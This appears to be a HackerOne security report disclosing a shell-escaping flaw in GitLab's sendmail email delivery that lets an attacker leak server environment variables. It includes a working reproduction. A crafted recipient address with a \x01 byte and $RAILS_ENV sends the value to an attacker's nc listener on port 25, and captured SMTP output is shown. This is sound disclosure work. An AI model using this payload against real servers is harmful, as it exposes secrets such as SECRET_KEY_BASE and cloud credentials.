Environment variables can be leaked via the `:sendmail` delivery method
HackerOne report #1286317 by vakzz on 2021-08-02, assigned to @rshambhuni:
Report
Summary
The gitlab omnibus edition defaults to using :sendmail as the delivery method for emails. ActionMailer depends on mail v2.7.1 for this https://gitlab.com/gitlab-org/gitlab/-/blob/v14.1.1-ee/Gemfile.lock#L1546
When :sendmail is used as the delivery method, /usr/sbin/sendmail will end up being called with the to address going through the following function:
https://github.com/mikel/mail/blob/2.7.1/lib/mail/network/delivery_methods/sendmail.rb#L85-L93
def self.shellquote(address)
# Process as a single byte sequence because not all shell
# implementations are multibyte aware.
#
# A LF cannot be escaped with a backslash because a backslash + LF
# combo is regarded as line continuation and simply ignored. Strip it.
escaped = address.gsub(/([^A-Za-z0-9_\s\+\-.,:\/@~])/n, "\\\\\\1").gsub("\n", '')
%("#{escaped}")
end
There is a long standing issue in bash where a backlash followed by a \001 character can cause issues with interpolation
https://lists.gnu.org/archive/html/bug-bash/2007-03/msg00065.html which causes \^A\$ to think second backslash is being escaped and leaves the $ unescaped (^A is \x00 and can be entered with ctrl-v ctrl-a):
bash-5.1$ echo -n "\^A\$USER" | xxd
00000000: 5c01 5c77 696c 6c \.\will
So if an email is sent to "someone+\x01$HOME@place.com" then after shellqoute it will be "someone+\\u0001\$HOME@place.com" and bash will expand the HOME variable.
Since sendmail is run using a string to IO.popen, this bug relies on bash being the default /bin/sh shell (which it is on OSX, RHEL, Centos and can be done in Ubuntu with dpkg-reconfigure dash) .
Steps to reproduce
- Use something like vagrant/virtualbox to create a CentOS 8 vm or spin up a vps
- Following the instructions to install gitlab https://about.gitlab.com/install/#centos-8.
- (ALT) Alternatively to steps 1 and 2 the docker installation can be used if you run
dpkg-reconfigure dashand disable dash as the default system shell - Somewhere with a publicly accessible ip run
echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25 - Login to gitlab and create a new project
- Go to Settings -> Integrations -> Emails on push
- Fire up Burp or open the network tab in Chrome
- In the
Recipientsenteruser+test@111.111.111.111.getmoss.sitereplacing111.111.111.111with the ip of the machine runningnc - Ensure
Trigger event for pushes to the repository.is checked and press save - Either edit the request in burp or copy as curl from the network tab and change the
testin the email to be%01%24RAILS_ENVand run the request - Edit or add a file to the project
- You should see the environment variable in the
toaddress innc
$ echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25
Listening on [103.xxx.xxx.xxx] (family 0, port 25)
Connection from [45.xxx.xxx.xxx] port 25 [tcp/smtp] accepted (family 2, sport 53932)
EHLO localhost.localdomain
MAIL FROM:<gitlab@gitlab.testing>
RCPT TO:<"will+production"[@]103.xxx.xxx.xxx.getmoss.site>
DATA
RSET
QUIT
Impact
An attacker can read arbitrary environment variables from the server if bash is configured as the default shell. As sensitive values are often passed around using environment variables (such as SECRET_KEY_BASE or aws credentials) they could be read and used to gain further access
Examples
See the steps to reproduce
What is the current bug behavior?
- No validation on email addresses
- The mail gem passes a string to
IO.popencausing a shell to be used - Insufficient escaping of the email addresses by the mail gem
What is the expected correct behavior?
The master branch of mail seems to have fixed the issue by passing an array to IO.popen to avoid a shell, but there doesn't seem to be a new release https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/sendmail.rb#L63
The email addresses could also be validated before being used to ensure that they have no invalid characters.
Relevant logs and/or screenshots
Output of checks
Results of GitLab environment info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 6.0.14
Git Version: 2.32.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 14.1.1-ee
Revision: f331f932688
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.6
URL: http://gitlab.testing
HTTP Clone URL: http://gitlab.testing/some-group/some-project.git
SSH Clone URL: git@gitlab.testing:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.19.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
An attacker can read arbitrary environment variables from the server if bash is configured as the default shell. As sensitive values are often passed around using environment variables (such as SECRET_KEY_BASE or aws credentials) they could be read and used to gain further access
How To Reproduce
Please add reproducibility information to this section: